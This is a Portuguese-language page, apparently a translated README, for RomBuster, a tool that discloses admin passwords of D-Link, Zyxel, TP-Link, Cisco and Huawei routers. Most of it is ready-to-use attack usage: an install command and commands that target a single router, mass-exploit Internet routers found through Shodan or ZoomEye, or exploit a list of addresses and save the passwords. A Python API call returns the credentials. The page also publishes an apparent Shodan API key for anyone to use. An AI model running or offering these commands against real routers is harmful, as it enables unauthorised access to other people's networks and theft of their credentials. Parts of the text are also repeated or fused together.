
RomBuster é uma ferramenta de exploração de roteadores que permite revelar a senha de administrador do roteador de rede.
RomBuster é uma ferramenta de exploração de roteadores que permite revelar a senha de administrador do roteador de rede.
D-Link, Zyxel, TP-Link, Cisco e Huawei.pip3 install git+https://github.com/EntySec/RomBuster
Para usar o RomBuster, basta digitar rombuster no seu terminal.
usage: rombuster [-h] [-o OUTPUT] [-i INPUT] [-a ADDRESS] [--shodan SHODAN]
[--zoomeye ZOOMEYE] [-p PAGES]
RomBuster is a router exploitation tool that allows to disclosure network
router admin password.
optional arguments:
-h, --help show this help message and exit
-o OUTPUT, --output OUTPUT
Output result to file.
-i INPUT, --input INPUT
Input file of addresses.
-a ADDRESS, --address ADDRESS
Single address.
--shodan SHODAN Shodan API key for exploiting devices over Internet.
--zoomeye ZOOMEYE ZoomEye API key for exploiting devices over Internet.
-p PAGES, --pages PAGES
Number of pages you want to get from ZoomEye.
Explorando um único roteador
Vamos hackear meu roteador só por diversão.
rombuster -a 192.168.99.1
Explorando roteadores da Internet
Vamos tentar usar o mecanismo de busca Shodan para explorar roteadores pela Internet.
rombuster --shodan PSKINdQe1GyxGgecYz2191H2JoS9qvgD
NOTA: A chave da API Shodan fornecida (PSKINdQe1GyxGgecYz2191H2JoS9qvgD) é minha chave PRO da API. Você pode usar esta chave ou a sua própria. Fique à vontade para usar todos os nossos recursos gratuitamente :)
Explorando roteadores a partir de um arquivo de entrada
Vamos tentar usar um banco de dados aberto de roteadores.
rombuster -i routers.txt -o passwords.txt
NOTA: Isso irá explorar todos os roteadores da lista routers.txt pelos seus endereços e salvar todas as senhas obtidas em passwords.txt.
O RomBuster também possui sua própria API Python que pode ser invocada importando o RomBuster para o seu código.
from rombuster import RomBuster
Estas são todas as funções básicas do RomBuster que podem ser usadas para explorar um roteador específico.
exploit(address) - Explora um único roteador pelo endereço fornecido.Explorando um único roteador
from rombuster import RomBuster
rombuster = RomBuster()
creds = rombuster.exploit('192.168.99.1')
print(creds)